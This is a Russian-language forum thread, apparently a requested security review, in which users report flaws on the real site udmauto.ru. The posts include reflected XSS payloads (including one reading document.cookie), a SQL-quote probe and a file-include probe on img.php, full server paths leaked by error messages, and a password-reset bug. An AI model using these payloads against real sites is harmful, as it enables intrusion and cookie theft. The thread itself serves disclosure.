udmauto.ru

[neval]

Всем спасибо.
Закрыто.

[Elvis000]

"/><script>alert(/xss/)</script> в поле поиск, в поле e-mail

http://udmauto.ru/img.php?rand=995248785&file=1'

[halkfild]

вышеописаные ксс

расскрытие путей
/home/automark/public_html/udmauto-ru/img.php

это просто так
http://udmauto.ru/img.php?rand=243436185&file=http://img138.imageshack.us/img138/7638/new14zh2.jpg

типо инклюд только бесполезный

смотрю дальше

[Dark.iNiTro]

совет - фильтровать данные не только с помошью mod_rewrite но и в скрипте (если вся безопасноть основываеться только на этом моде)

[halkfild]

баг в восстановлении пароля..

вводим любое слово в мейл и нажимаем напомнить
ошибка: пользователь < antichat > не найден

Warning: Cannot modify header information - headers already sent by (output started at /home/automark/public_html/udmauto-ru/_lib/lib_author.inc.php:266) in /home/automark/public_html/udmauto-ru/_lib/lib_author.inc.php on line 393


баг в подписке http://udmauto.ru/personal-subscr.html

Warning: Variable passed to each() is not an array or object in /home/automark/public_html/udmauto-ru/_lib/tools.inc.php(1684) : eval()'d code on line 16


раскрытие путей в файле personal-face.html в профиле

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /home/automark/public_html/udmauto-ru/_lib/tools.inc.php on line 3637
Not Supported File
Warning: copy(/home/automark/public_html/udmauto-ru/thumbnails/300-home/qwwwww@inbox.ru/2.php) [function.copy]: failed to open stream: No such file or directory in /home/automark/public_html/udmauto-ru/_usr/personalchange.inc.php on line 55


Пассивная ксс
http://udmauto.ru/use-remember&login=qwww%22%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E.html

[ShAnKaR]

картиночку проверочную от ботов в коментарии бы а то заспамят зуб даю.